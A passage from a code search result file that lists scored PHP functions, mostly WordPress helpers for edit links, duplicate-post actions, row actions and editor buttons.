"0.6470032", "text": "function youplay_entry_footer() {\n\tedit_post_link( esc_html__( 'Edit', 'youplay' ), '<div class=\"edit-link pull-right\">', '</div><div class=\"clearfix\"></div>' );\n}", "title": "" }, { "docid": "c3ee2632f14d9a70b85c64ac6d632663", "score": "0.6402564", "text": "function edit_entry_link($text='Edit',$before='',$after='') {\r\n\tif(we_can('edit_entries')) { ?><a href=\"<?php siteinfo('adminurl'); ?>entries.php?req=edit&amp;id=<?php entry_ID(); ?>\"><?php echo $text; ?></a><?php }\r\n}", "title": "" }, { "docid": "6a9de3c959c92ff9caff361822c38826", "score": "0.6371143", "text": "public function insertPostDraftMetaBoxLinks($post)\n {\n if ($this->isDraft($post) || !$this->draftable($post)) {\n return;\n }\n\n $combo = new SuperPostDraft($post);\n $action = new Action($post);\n $label = 'Create';\n $url = $action->url('create');\n\n if ($this->hasDraft($post)) {\n $label = 'Edit';\n $url = $combo->draft()->edit();\n }\n\n echo $this->view('draft_meta_box_edit', [\n 'label' => $label,\n 'url' => $url,\n ]);\n }", "title": "" }, { "docid": "a2795b64c900f67cabda5d40d0ca133c", "score": "0.63316166", "text": "function the_admin_edit_post( string $cls = '' ): void {\n\tif ( can_edit_post() ) {\n\t\t?>\n\t\t<div class=\"admin-edit<?php echo esc_attr( ' ' . $cls ); ?>\">\n\t\t\t<a href=\"<?php the_edit_link_post(); ?>\">EDIT</a>\n\t\t</div>\n\t\t<?php\n\t}\n}", "title": "" }, { "docid": "6f14d3714b3f763f03f5a2831b90a796", "score": "0.6316657", "text": "function edit_page_link($var, $alt='')\r\n{\r\n\tglobal $t;\r\n\treturn print_edit_cms($var, $t, $alt, 'link');\r\n}", "title": "" }, { "docid": "8d6e1e1df3eab7131bbee40731739309", "score": "0.6311441", "text": "function white_edit_post_link()\n {\n $edit_post_link = get_edit_post_link();\n if ($edit_post_link != null) {\n $edit_btn = '<a class=\"post-edit-link btn btn-default btn-xs\" href=\"'.$edit_post_link.'\" title=\"Edit\"><i class=\"edit-post-icon glyphicon glyphicon-pencil\" title=\"Edit\"></i></a>';\n unset($edit_post_link);\n echo $edit_btn;\n }\n }", "title": "" }, { "docid": "c348862aa1b8c17f84c362c2843cef33", "score": "0.6301576", "text": "public function remove_page_list_edit_link( $actions, $post ) {\n /**\n * If:\n * -The limited user is logged in\n * -The page is not in the allowed list\n * ...Remove the \"Edit\", \"Quick Edit\", and \"Trash\" quick links.\n */\n if ( \n $this->is_user_limited() &&\n !$this->is_page_allowed( $post->ID )\n ) {\n unset( $actions['edit'] );\n unset( $actions['inline hide-if-no-js']);\n unset( $actions['trash'] );\n }\n return $actions;\n }", "title": "" }, { "docid": "0573fdea01c5d6f29e96b65927d07db2", "score": "0.6290399", "text": "public function handler_edit_post_link( $link, $id, $context )\n\t\t{\n\t\t\tglobal $pagenow;\n\n\t\t\tif( ! $this->need_classic_editor_links() || in_array( $context, array( 'av_gutenberg', 'raw' ) ) )\n\t\t\t{\n\t\t\t\t/**\n\t\t\t\t * Fixes a problem with Gutenberg plugin when you open a block page in Classic editor - Warning box has a wrong link to classic editor\n\t\t\t\t */\n\t\t\t\tif( $this->gutenberg_plugin_active && doing_action( 'admin_footer' ) && ( 'raw' == $context ) && ( 'post.php' == $pagenow ) )\n\t\t\t\t{\n\t\t\t\t\tif( $_REQUEST['post'] == $id )\n\t\t\t\t\t{\n\t\t\t\t\t\t$link = remove_query_arg( 'classic-editor', $link );\n\t\t\t\t\t}\n\t\t\t\t}\n\n\n\t\t\t\treturn $link;\n\t\t\t}\n\n\t\t\t$post = get_post( $id );\n\t\t\tif( ! $post instanceof WP_Post )\n\t\t\t{\n\t\t\t\treturn $link;\n\t\t\t}\n\n\t\t\tif( ! $this->is_classic_editor_editable( $post ) || $this->force_classic_editor( $post->post_type ) )\n\t\t\t{\n\t\t\t\treturn $link;\n\t\t\t}\n\n\t\t\tif( ! has_blocks( $id ) )\n\t\t\t{\n\t\t\t\t$link = add_query_arg( 'classic-editor', '1', $link );\n\t\t\t}\n\n\t\t\treturn $link;\n\t\t}", "title": "" }, { "docid": "380d870d23d2cbf862fc6eaf7f914b28", "score": "0.625986", "text": "function tm_add_admin_link($actions) {\r\n\t$comment = $GLOBALS['comment'];\r\n\t\r\n\t$tm_comments = get_option('tm_comments');\r\n\tif(!$tm_comments) $tm_comments = array();\r\n\t\r\n\tif(in_array($comment->comment_ID, $tm_comments)) :\t\r\n\t\t$location = WP_PLUGIN_URL . '/controll-disemvowel-comments/exectrollmode.php?adm=1&action=1&cid=' . $comment->comment_ID;\r\n\t\t$actions['removevowels'] = \"<a href='$location'>\" . __('Add vowels','disemvoweler') . \"</a>\";\r\n\telse:\r\n\t\t$location = WP_PLUGIN_URL . '/controll-disemvowel-comments/exectrollmode.php?adm=1&cid=' . $comment->comment_ID;\r\n\t\t$actions['removevowels'] = \"<a href='$location'>\" . __('Remove vowels','disemvoweler') . \"</a>\";\r\n\tendif;\r\n\t\r\n\treturn $actions;\r\n}", "title": "" }, { "docid": "55d5bab175bcb79c3dc96fefc645969e", "score": "0.62575835", "text": "public function edit()\n {\n $publish = false;\n\n if (isset($_POST['publishPost']))\n $publish = true;\n\n $this->postMapper->modifyPost($_POST, isset($_GET['postID']) ? $_GET['postID'] : '', $publish);\n }", "title": "" }, { "docid": "daeb48b7ba45d6e66b26022eee389ea4", "score": "0.62433714", "text": "function EditLink()\n\t{\n\t\t$u = $this->GetUser();\n\n\t\t$l = LinkData::Load( $this->args->link );\n\t\tif (!$l || $l->GetOwner() != $u->id || $l->GetType() != \"page\") {\n\t\t\tthrow new AppError( \"BadParameter\", \"Invalid link ID\" );\n\t\t}\n\t\t$this->html = file_get_contents( \"res/link_edit.html\" );\n\t\t$this->tokens->screen_title = \"Edit Page\";\n\t\t$this->tokens->path = $l->GetLink();\n\t\t$this->tokens->target = $l->GetReference();\n\t\t$this->tokens->linkid = $this->args->link;\n\t}", "title": "" }, { "docid": "55a8fda4460147bcfad31f4a53e65c5c", "score": "0.6238687", "text": "abstract public function getEditLink();", "title": "" }, { "docid": "8765bd3cc9f24a4cba062960048a7011", "score": "0.6231807", "text": "function publisher_edit_post_link( $echo = true ) {\n\n\t\tif ( ! bf_is_user_logged_in() ) {\n\t\t\treturn '';\n\t\t}\n\n\t\t$link = get_edit_post_link();\n\t\t$out = '';\n\n\t\tif ( $link ) {\n\t\t\t$out = '<a class=\"post-edit-link\" href=\"' . $link . '\">' . publisher_translation_get( 'edit_post' ) . '</a>';\n\t\t}\n\n\t\tif ( $echo ) {\n\t\t\techo $out;\n\t\t} else {\n\t\t\treturn $out;\n\t\t}\n\t}", "title": "" }, { "docid": "15f779473bc9900f5e592b7f65de430b", "score": "0.621398", "text": "function rd_duplicate_post_link( $actions, $post ) {\r\n if (current_user_can('edit_posts')) {\r\n $actions['duplicate'] = '<a href=\"' . wp_nonce_url('admin.php?action=rd_duplicate_post_as_draft&post=' . $post->ID, basename(__FILE__), 'duplicate_nonce' ) . '\" title=\"Duplicate this item\" rel=\"permalink\">Duplicate</a>';\r\n }\r\n return $actions;\r\n }", "title": "" }, { "docid": "8ead027f72dbf6e28ab8139a0b229dd2", "score": "0.6198969", "text": "function rd_duplicate_post_link( $actions, $post ) {\n\tif ( current_user_can( 'edit_posts' ) ) {\n\t\t$actions['duplicate'] = '<a href=\"admin.php?action=rd_duplicate_post_as_draft&amp;post=' . $post->ID . '\" title=\"Duplicate this item\" rel=\"permalink\">Duplicate</a>';\n\t}\n\n\treturn $actions;\n}", "title": "" }, { "docid": "2e5bdbe209f5357eea3a7717e9596123", "score": "0.61895275", "text": "protected function updatePostEditBarLinks(\n $actions,\n $post,\n UserCapabilities $userCapabilitiesHelper,\n Url $urlHelper,\n Nonce $nonceHelper,\n Options $optionsHelper\n ) {\n // @codingStandardsIgnoreLine\n if ($post->post_type === $this->postType) {\n unset($actions['inline hide-if-no-js']);\n unset($actions['edit']);\n unset($actions['view']);\n unset($actions['preview']);\n $sourceId = get_the_ID();\n $actions = array_reverse($actions);\n // @codingStandardsIgnoreLine\n if ('publish' === $post->post_status) {\n if ($userCapabilitiesHelper->canEdit($sourceId)) {\n $url = $urlHelper->adminAjax(\n [\n 'vcv-action' => 'addon:themeEditor:setAsDefault:adminNonce',\n 'vcv-source-id' => $sourceId,\n 'vcv-nonce' => $nonceHelper->admin(),\n 'vcv-post-type' => $this->postType,\n ]\n );\n }\n\n if ((int)$optionsHelper->get('default' . $this->postType) === $sourceId) {\n $actions['vcv_default_layout'] = __('Set as Default', 'vcwb');\n } else {\n $actions['vcv_set_as_default'] = sprintf(\n '<a href=\"%s\">%s</a>',\n $url,\n __('Set as Default', 'vcwb')\n );\n }\n }\n }\n\n return $actions;\n }", "title": "" }, { "docid": "b5441d6608b4e7fc0d7a6e76be2ade74", "score": "0.6185974", "text": "public static function pageRowAction($actions) {\n $post = get_post();\n if (!NpEditor::isAllowedForEditor($post)) {\n return $actions;\n }\n if (np_data_provider($post->ID)->isConvertRequired()) {\n $actions['edit_in_nicepage'] = '<a href=\"' . add_query_arg(array('np_edit' => '1'), get_edit_post_link($post->ID)) . '\">' . __('Turn to Nicepage', 'nicepage') . '</a>';\n } else {\n $actions['edit_in_nicepage'] = '<a href=\"' . add_query_arg(array('np_edit' => '1'), get_edit_post_link($post->ID)) . '\">' . __('Edit with Nicepage', 'nicepage') . '</a>';\n }\n return $actions;\n }", "title": "" }, { "docid": "a8c7c741667640d32f781e681cbde0a2", "score": "0.6174394", "text": "function tt_wp_duplicate_post_link($actions, $post) {\n\tif(current_user_can('edit_posts')) {\n\t\t$actions['duplicate'] = '<a href=\"admin.php?action=tt_wp_duplicate_posts&amp;post=' . $post->ID . '\" rel=\"permalink\"><span class=\"dashicons dashicons-arrow-left-alt2\" style=\"font-size: 8px;vertical-align: baseline\"></span>Duplicate<span class=\"dashicons dashicons-arrow-right-alt2\" style=\"font-size: 8px;vertical-align: baseline\"></span></a>';\n\t}\n\n\treturn $actions;\n}", "title": "" }, { "docid": "f4b291b6ffa56469b7e200d2f2c5bd91", "score": "0.61475503", "text": "function get_default_link_to_edit()\n{\n}", "title": "" }, { "docid": "ca0a306b09ae33f027f61ad71d62b62e", "score": "0.61340284", "text": "function wp_ajax_send_link_to_editor()\n{\n}", "title": "" }, { "docid": "3b56c1cc12748110abfdd75f83818e0f", "score": "0.6117551", "text": "function rd_duplicate_post_link( $actions, $post ) {\n\n\tif (current_user_can('edit_posts')) {\n\n\t\t$actions['duplicate'] = '<a href=\"' . wp_nonce_url('admin.php?action=rd_duplicate_post_as_draft&post=' . $post->ID, basename(__FILE__), 'duplicate_nonce' ) . '\" title=\"Duplicate this item\" rel=\"permalink\">Duplicate</a>';\n\n\t}\n\n\treturn $actions;\n\n}", "title": "" }, { "docid": "b32109f7454cb19aac275178ca680e07", "score": "0.6114254", "text": "function rd_duplicate_post_link( $actions, $post ) {\n if (current_user_can('edit_posts')) {\n $actions['duplicate'] = '<a href=\"admin.php?action=rd_duplicate_post_as_draft&amp;post=' . $post->ID . '\" title=\"Duplicate this item\" rel=\"permalink\">Duplicate</a>';\n }\n return $actions;\n}", "title": "" }, { "docid": "4710899751097dd3f6e4aa9c3a8148c2", "score": "0.6106193", "text": "function expand_quick_edit_link( $actions, $post ) {\n global $current_screen;\n \n if ( 'post' != $current_screen->post_type ) {\n return $actions;\n }\n \n $data = get_post_meta( $post->ID, 'rating', true );\n $data = empty( $data ) ? 0 : $data;\n $actions['inline hide-if-no-js'] = '<a href=\"#\" class=\"editinline\" title=\"';\n $actions['inline hide-if-no-js'] .= esc_attr( 'Edit this item inline' ) . '\"';\n $actions['inline hide-if-no-js'] .= \" onclick=\\\"get_rating('{$data}')\\\" >\";\n $actions['inline hide-if-no-js'] .= 'Quick Edit';\n $actions['inline hide-if-no-js'] .= '</a>';\n \n return $actions;\n}", "title": "" }, { "docid": "debfe184ccdc577a118a6d2efa50ad58", "score": "0.6103986", "text": "function get_link_to_edit($link)\n{\n}", "title": "" }, { "docid": "93a3baafbebe501800167b3f4179b8fb", "score": "0.6089003", "text": "public function handler_page_row_actions( array $actions, $post )\n\t\t{\n\t\t\tif( ! $post instanceof WP_Post || $post->post_type != $this->get_post_type() )\n\t\t\t{\n\t\t\t\treturn $actions;\n\t\t\t}\n\n\t\t\t//\tQuick Edit Link\n\t\t\tunset( $actions['inline hide-if-no-js'] );\n\n\t\t\tif( ! current_user_can( $this->get_capability( 'new' ) ) )\n\t\t\t{\n\t\t\t\treturn $actions;\n\t\t\t}\n\n\t\t\t$shortcode = Avia_Builder()->get_posts_alb_content( $post->ID );\n\n\t\t\tif( empty( $shortcode ) )\n\t\t\t{\n\t\t\t\treturn $actions;\n\t\t\t}\n\n\t\t\t$notify_url = wp_nonce_url( admin_url( 'edit.php?post_type=' . $this->get_post_type() . '&action=duplicate_element_template&amp;post=' . $post->ID ), 'avia-duplicate-element-template_' . $post->ID );\n\n\t\t\t$duplicate = '<a href=\"' . $notify_url . '\" aria-label=\"' . esc_attr__( 'Make a duplicate from this element template', 'avia_framework' ) . '\" rel=\"permalink\">';\n\t\t\t$duplicate .=\t\tesc_html__( 'Duplicate', 'avia_framework' );\n\t\t\t$duplicate .= '</a>';\n\n\t\t\t$actions['duplicate'] = $duplicate;\n\n\t\t\treturn $actions;\n\t\t}", "title": "" }, { "docid": "c5028b1fb6dee2463193def6cce61f82", "score": "0.6083483", "text": "function yugiohcardref_add_button() {\r\n\t\tif ( ! current_user_can('edit_posts') && ! current_user_can('edit_pages') )\r\n\t\t\treturn;\r\n\r\n\t// Add only in Rich Editor mode\r\n\t\tif ( get_user_option('rich_editing') ) {\r\n\t\t\tadd_filter( 'mce_external_plugins', 'yugiohcardref_add_tinymce_plugin' );\r\n\t\t\tadd_filter( 'mce_buttons', 'yugiohcardref_register_button' );\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "c70bef2a12f8e21ed25fda1e261ca89f", "score": "0.60729283", "text": "function edit_link($var, $t=0, $alt='')\r\n{\r\n\treturn print_edit_cms($var, $t, $alt, 'link');\r\n}", "title": "" }, { "docid": "3b056d2070ec526f3f4e18b36841eb46", "score": "0.6068408", "text": "function awesome_duplicate_post_link( $actions, $post ) {\n if (current_user_can('edit_posts')) {\n $actions['duplicate'] = '<a href=\"admin.php?action=rd_duplicate_post_as_draft&amp;post=' . $post->ID . '\" title=\"Duplicate this item\" rel=\"permalink\">Duplicate</a>';\n }\n return $actions;\n}", "title": "" }, { "docid": "8adf3074f6dce2de6804d55532dd19ce", "score": "0.6055111", "text": "public function post_row_actions( $actions, $post ) {\n\n\t\t$first_step = $this->get_first_step_url( $post );\n\n\t\tif ( $first_step && isset( $actions['view'] ) ) {\n\n\t\t\t$actions['view'] = '<a href=\"' . $first_step . '\">' . __( 'View', 'cartflows' ) . '</a>';\n\t\t}\n\n\t\treturn $actions;\n\t}", "title": "" }, { "docid": "5c9179f88cbd9010fe886463971e4edd", "score": "0.60501", "text": "function future_post_edit_link() {\n\n\t/** Manipulation */\n\tob_start();\n\tif ( in_array( get_post_type(), array( 'post', 'attachment', 'future_portfolio' ) ) ) :\n\tedit_post_link( __( 'Edit', 'future' ), sprintf( '%1$s<span class=\"entry-meta-post-edit\"><span class=\"entry-meta-icon fa fa-pencil\"></span> ', future_entry_meta_sep() ), '</span>' );\n\telse:\n\tedit_post_link( __( 'Edit', 'future' ), '<span class=\"entry-meta-post-edit\"><span class=\"entry-meta-icon fa fa-pencil\"></span> ', '</span>' );\n\tendif;\n\t$output = ob_get_clean();\n\n\treturn $output;\n\n}", "title": "" }, { "docid": "3684198f2ad249a191b402d35590d462", "score": "0.60480803", "text": "function edit_post_link($text = \\null, $before = '', $after = '', $id = 0, $class = 'post-edit-link')\n{\n}", "title": "" }, { "docid": "d8e99f02d803175fe409a8ce96e9f87e", "score": "0.60283655", "text": "function post_links() {\n\n\n\t?>\n\n\t\t<?php if( is_user_logged_in() ) : ?>\n\n\t\t\t<div class=\"post-links\"><?php edit_post_link('<i class=\"fa fa-pencil\"></i>'); ?><a href=\"<?php the_permalink(); ?>\"><span class=\"fa fa-external-link\"></span></a></div>\n\n\t\t<?php endif; ?>\n\n\t<?php\n\n\n}", "title": "" }, { "docid": "2b0dcd2e1a96b68ef1b8e27754b26e47", "score": "0.6020739", "text": "public function addCustomPostTypeTableActions(&$actions, $post): void\n {\n // Check the client has not been disabled in the CPT\n if (!$this->isClientEnabled($post)) {\n return;\n }\n\n if ($permalink = \\get_permalink($post->ID)) {\n $title = \\_draft_or_post_title();\n $actions['graphiql'] = sprintf(\n '<a href=\"%s\" rel=\"bookmark\" aria-label=\"%s\">%s</a>',\n \\add_query_arg(\n RequestParams::VIEW,\n RequestParams::VIEW_GRAPHIQL,\n $permalink\n ),\n /* translators: %s: Post title. */\n \\esc_attr(\\sprintf(\\__('GraphiQL &#8220;%s&#8221;'), $title)),\n __('GraphiQL', 'graphql-api')\n );\n }\n }", "title": "" }, { "docid": "98cc23b2a3c0f9f17057df7e9d4e4880", "score": "0.5997135", "text": "public function add_editor_button() {\n\t\tif ( ! function_exists( 'vc_frontend_editor' ) || ! function_exists( 'templatera_init' ) ) {\n\t\t\treturn;\n\t\t}\n\t\tglobal $pagenow;\n\t\t$template_edit = 'post.php' == $pagenow && isset( $_GET['post'] ) && 'templatera' === get_post_type( $_GET['post'] );\n\t\tif ( ! $template_edit ) {\n\t\t\treturn;\n\t\t}\n\t\t$front_end_url = vc_frontend_editor()->getInlineUrl(); ?>\n\t\t<script>\n\t\t\t( function ( $ ) {\n\t\t\t\tif ( typeof vc !== 'undefined' ) {\n\t\t\t\t\tvc.events.on( 'vc:access:backend:ready', function ( access ) {\n\t\t\t\t\t\tvar vcSwitch = $( '.composer-inner-switch' );\n\t\t\t\t\t\tif ( vcSwitch.length ) {\n\t\t\t\t\t\t\tvcSwitch.append( '<a class=\"wpb_switch-to-front-composer\" href=\"<?php echo esc_url( $front_end_url ); ?>\">' + window.i18nLocale.main_button_title_frontend_editor + '</a>' );\n\t\t\t\t\t\t}\n\t\t\t\t\t} );\n\t\t\t\t}\n\t\t\t} ) ( window.jQuery );\n\t\t</script>\n\t<?php }", "title": "" }, { "docid": "1cda5897d5f003d8569d2f5beb4785ba", "score": "0.59510154", "text": "function add_fix_link( $actions ) {\n global $post;\n $actions[] = '<a href=\"#\" data-id=\"' . $post->ID . '\" class=\"fix-media-button\">Fix</a>';\n return $actions;\n }", "title": "" }, { "docid": "c30990cf4a11088d676cc319355a1373", "score": "0.5948075", "text": "public function editLink()\n {\n return html()->linkRoute('administrator.articles.edit', $this->introTitle(), $this->entity->id);\n }", "title": "" }, { "docid": "6884407c5926f169fc3676fc4e181562", "score": "0.5944919", "text": "public static function printEditorAction() {\n global $post;\n if (_arr($_GET, 'np_new') || _arr($_GET, 'np_edit')) {\n if ($post && $post->ID && !_arr($_GET, 'np_new')) {\n np_data_provider($post->ID, true)->clear();\n }\n $can_start_editor = get_option('npDataBridge', 1);\n if ($can_start_editor) {\n if (_arr($_GET, 'np_page')) {\n $settingsPage = array(\n 'post_id' => $post ? $post->ID : 0,\n 'page' => _arr($_GET, 'np_page'),\n );\n } else {\n $settingsPage = array('post_id' => $post ? $post->ID : 0);\n }\n echo NpAdminActions::getEditorContainerHtml($settingsPage);\n } else {\n ?>\n <script>\n window.location.href = `<?php echo admin_url().'edit.php?post_type=page';?>`;\n alert('Unable to start the Editor. Please contact the Support.');\n </script>\n <?php\n }\n }\n }", "title": "" }, { "docid": "92fc8dd3a933acde82e2fa005e98d1ab", "score": "0.5932526", "text": "function button_edit_post($idPost)\r\n{\r\n\tif(isset($_SESSION['id']))\r\n\t{\r\n\t\tif(isadmin($_SESSION['id']))\r\n\t\t{\r\n\t\t\techo \"<form name='delete_com' style='float:left; margin-left:0px;' action='?page=article&POST_ID=\".$idPost.\"&edit=1' method='post'>\";\r\n\t\t\t\techo \"<input name='action' value='Editer post' type='submit'/>\";\r\n\t\t\t\techo \"<input type='hidden' name='url' value='?page=article&POST_ID=\".$idPost.\"'/>\";\r\n\t\t\techo \"</form>\";\r\n\t\t}\r\n\t}\r\n}", "title": "" }, { "docid": "86c743eafee6ec69d13fa66421ac8268", "score": "0.5929866", "text": "function rd_duplicate_post_link( $actions, $post ) {\n if (current_user_can('edit_posts')) {\n $actions['duplicate'] = '<a href=\"' . wp_nonce_url('admin.php?action=rd_duplicate_post_as_draft&post=' . $post->ID, basename(__FILE__), 'duplicate_nonce' ) . '\" title=\"Duplicate this item\" rel=\"permalink\">Duplicate</a>';\n }\n return $actions;\n}", "title": "" }, { "docid": "6656e3aaf8a746cc79909f5887f963d2", "score": "0.5920466", "text": "public function add_edit_post_scripts(){\n\t\t\n\t\tglobal $post_type;\n\t\t \n\t\t if( ( $this->get_slug() == $post_type ) && method_exists( $this , 'edit_post_scripts') ) {\n\t\t\t \n\t\t\t $this->edit_post_scripts();\n\t\n\t\t } // end if\n\t\t\n\t}", "title": "" }, { "docid": "ee48e2e594e6d8ec60b4dd1b2ff06de1", "score": "0.59159756", "text": "public function get_edit_link( $post_id, $context = false ) {\n\t\t$elementor_test = get_post_meta( $post_id, '_elementor_data', true );\n\t\tif ( $elementor_test && class_exists( '\\Elementor\\Plugin' ) ) {\n\t\t\treturn \\Elementor\\Plugin::$instance->documents->get( $post_id )->get_edit_url();\n\t\t}\n\n\t\treturn get_permalink( $post_id );\n\t}", "title": "" }, { "docid": "ac7f0cd6a5f14620fd5861d19f06f9b9", "score": "0.59014225", "text": "public function get_library_item_edit_link( $id ) {\n\t\tif ( 'front' === $this->location ) {\n\t\t\treturn esc_url( add_query_arg( 'fb-edit', '1', get_the_permalink( $id ) ) );\n\t\t}\n\t\treturn esc_url_raw( htmlspecialchars_decode( get_edit_post_link( $id ) ) );\n\t}", "title": "" }, { "docid": "b702532f4e276c177f2f8edbc70b7aec", "score": "0.5891461", "text": "function rd_duplicate_post_link($actions, $post)\n{\n if (current_user_can('edit_posts')) {\n $actions['duplicate'] = '<a href=\"' . wp_nonce_url('admin.php?action=rd_duplicate_post_as_draft&post=' . $post->ID, basename(__FILE__), 'duplicate_nonce') . '\" title=\"Duplicate this item\" rel=\"permalink\">Duplicate</a>';\n }\n\n return $actions;\n}", "title": "" }, { "docid": "43d362429d353e6d269ba38c262673cd", "score": "0.58881176", "text": "private function writeEditLink()\n\t{\n\t\t$i = 1;\n\t\tif (isset($this->editTarget))\n\t\t{\n\t\t\t// Add an edit link for the row if told to do so\n\t\t\tif (isset($this->editTarget))\n\t\t\t{\n\t\t\t\t$args = http_build_query(array('opcode' => UPDATE_REC) + $this->primaryKeyFields +\n\t\t\t\tarray('cursorpos' => $this->cursorpos) );\n\t \t\techo \"\\t\\t<td \" . (isset($this->tdClass) ? \" class=\\\"$this->tdClass\\\" \": \"\") .\n\t \t\t\"><a href=\\\"$this->editTarget?$args\\\" title=\\\"Edit$i\\\">Edit</a></td>\\n\";\n \t\t}\n\n\t\t}\n\t}", "title": "" }, { "docid": "370d2c9096fdb43f434a31ff0546e30f", "score": "0.587826", "text": "public function row_actions( $actions, $post ) {\n\t\tif ( $post->post_type == \"lp_cert\" ) {\n\t\t\t$actions['export_cert'] = sprintf( '<a href=\"%s\">%s</a>', admin_url( 'edit.php?post_type=lp_cert&export=' . $post->ID ), __( 'Export', 'learnpress-certificates' ) );\n\t\t}\n\t\treturn $actions;\n\t}", "title": "" }, { "docid": "196e4589eec8012f34b85d072d37159c", "score": "0.58777535", "text": "function mw_editPost($args) {\n\n\t global $wpdb;\n\n\t $post_ID = $args[0];\n\t $user_login = $args[1];\n\t $user_pass = $args[2];\n\t $content_struct = $args[3];\n\t $publish = $args[4];\n\n\t if (!$this->login_pass_ok($user_login, $user_pass)) {\n\t return $this->error;\n\t }\n\n\t $user_data = get_userdatabylogin($user_login);\n\t if (!user_can_edit_post($user_data->ID, $post_ID)) {\n\t return new IXR_Error(401, 'Sorry, you can not edit this post.');\n\t }\n\n\t extract($postdata);\n\n\t $post_title = $content_struct['title'];\n\t $post_content = format_to_post($content_struct['description']);\n\t $catnames = $content_struct['categories'];\n\n\t if ($catnames) {\n\t foreach ($catnames as $cat) {\n\t $post_category[] = get_cat_ID($cat);\n\t }\n\t }\n\n\t $post_excerpt = $content_struct['mt_excerpt'];\n\t $post_more = $content_struct['mt_text_more'];\n\t $post_status = $publish ? 'publish' : 'draft';\n\n\t if ($post_more) {\n\t $post_content = $post_content . \"\\n<!--more-->\\n\" . $post_more;\n\t }\n\n\t $comment_status = (1 == $content_struct['mt_allow_comments']) ? 'open' : 'closed';\n\t $ping_status = $content_struct['mt_allow_pings'] ? 'open' : 'closed';\n\n\t // Do some timestamp voodoo\n\t $dateCreated = $content_struct['dateCreated'];\n\t if (!empty($dateCreated)) {\n\t $post_date = get_date_from_gmt(iso8601_to_datetime($dateCreated));\n\t $post_date_gmt = iso8601_to_datetime($dateCreated, GMT);\n\t } else {\n\t $post_date = $postdata['post_date'];\n\t $post_date_gmt = $postdata['post_date_gmt'];\n\t }\n\n\t // We've got all the data -- post it:\n\t $newpost = compact('ID', 'post_content', 'post_title', 'post_category', 'post_status', 'post_excerpt', 'comment_status', 'ping_status', 'post_date', 'post_date_gmt');\n\n\t $post_ID = wp_update_post($newpost);\n\t if (!$post_ID) {\n\t return new IXR_Error(500, 'Sorry, your entry could not be edited. Something wrong happened.');\n\t }\n\n\t logIO('O',\"(MW) Edited ! ID: $post_ID\");\n\n\t // FIXME: do we pingback always? pingback($content, $post_ID);\n\t trackback_url_list($content_struct['mt_tb_ping_urls'], $post_ID);\n\n\t return $post_ID;\n\t}", "title": "" }, { "docid": "cbeac403d3b01d8cc9b5c259bb8de09d", "score": "0.5865228", "text": "function tf_events_register_tinymce_buttons() {\n\t\n\tif ( !current_user_can( 'edit_posts' ) || \n\t\t( isset( $_GET['post'] ) && !in_array( get_post_type( $_GET['post'] ), array( 'post', 'page' ) ) ) || \n\t\t( isset( $_GET['post_type'] ) && !in_array( $_GET['post_type'], array( 'post', 'page' ) ) ) )\n\t\treturn;\n\t\n\tadd_filter( 'mce_external_plugins', 'tf_events_add_tinymce_plugins' );\n}", "title": "" }, { "docid": "e2d7f0b88814fe9598a1148f8c6f0382", "score": "0.58612716", "text": "public function postRowActions( $actions, $post )\n {\n // Get the outputs\n $outputs = $this->getOutputs();\n\n // Loop over the outputs\n foreach($outputs as $slug => $output) {\n // Setup actions for each output\n $actions[ $slug ] = '<a href=\"' . admin_url( 'admin.php' ) . '?action=wpmo_publish&output=' . $slug . '&post=' . $post->ID . '\">' . $output['action'] . '</a>';\n }\n\n // Return actions\n return $actions;\n }", "title": "" }, { "docid": "3acd58a7e642c54795eabd61fba28b1e", "score": "0.585818", "text": "function dsi_annulla_doc_link( $actions, $post ) {\n if(dsi_is_albo($post)){\n unset($actions['trash']);\n if($post->post_status != \"annullato\"){\n $actions['annulla'] = '<a style=\\'color: #ca334a;\\' href=\"' . wp_nonce_url('admin.php?action=dsi_annulla_doc&post=' . $post->ID, basename(__FILE__), 'annulla_nonce' ) . '\" title=\"Annulla\" rel=\"permalink\">Annulla</a>';\n }else{\n echo '<script>\n document.getElementById(\"cb-select-'.$post->ID.'\").disabled = true;\n </script>';\n// unset($actions['edit']);\n unset($actions['inline hide-if-no-js']);\n }\n }\n return $actions;\n}", "title": "" }, { "docid": "ba4070fa410322e515b2017cca9da6ef", "score": "0.5856733", "text": "public function add_navigation_button( $post ) {\n\n\t\t\tif ( ! $post ) {\n\t\t\t\tglobal $post;\n\t\t\t}\n\n\t\t\tif ( isset( $_GET['wordpress_editor'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended\n\t\t\t\tupdate_post_meta( $post->ID, 'editor_type', 'wordpress_editor' );\n\t\t\t} elseif ( isset( $_GET['code_editor'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended\n\t\t\t\tupdate_post_meta( $post->ID, 'editor_type', 'code_editor' );\n\t\t\t}\n\n\t\t\tglobal $pagenow;\n\t\t\t$screen = get_current_screen();\n\n\t\t\t$editor_type = get_post_meta( $post->ID, 'editor_type', true );\n\n\t\t\tif ( 'code_editor' === $editor_type ) {\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tif ( ( 'post-new.php' === $pagenow ) && ASTRA_ADVANCED_HOOKS_POST_TYPE === $screen->post_type ) {\n\t\t\t\t$editor_type = 'wordpress_editor';\n\t\t\t}\n\n\t\t\t$start_wrapper = '<script id=\"astra-editor-button-switch-mode\" type=\"text/html\" >';\n\t\t\t$end_wrapper = '</script>';\n\t\t\t$label = __( 'Enable Code Editor', 'astra-addon' );\n\t\t\t$icon = 'dashicons-editor-code';\n\n\t\t\techo $start_wrapper; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped\n\t\t\t?>\n\t\t\t\t<div class=\"ast-advanced-hook-enable-php-wrapper\">\n\t\t\t\t\t<button type=\"button\" class=\"ast-advanced-hook-enable-php-btn button button-primary button-large\" data-editor-type=\"<?php echo esc_attr( $editor_type ); ?>\" data-label=\"<?php echo esc_attr( $label ); ?>\" >\n\t\t\t\t\t\t<i class=\"dashicons <?php echo esc_attr( $icon ); ?>\"></i>\n\t\t\t\t\t\t<span class=\"ast-btn-title\"><?php echo esc_html( $label ); ?></span>\n\t\t\t\t\t</button>\n\t\t\t\t</div>\n\t\t\t<?php\n\t\t\techo $end_wrapper; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped\n\t\t}", "title": "" }, { "docid": "073328e73191758d567c05bea0e02b24", "score": "0.58560836", "text": "public function actionShowLinkEdit()\n\t{\n\t\t$userIdarr = 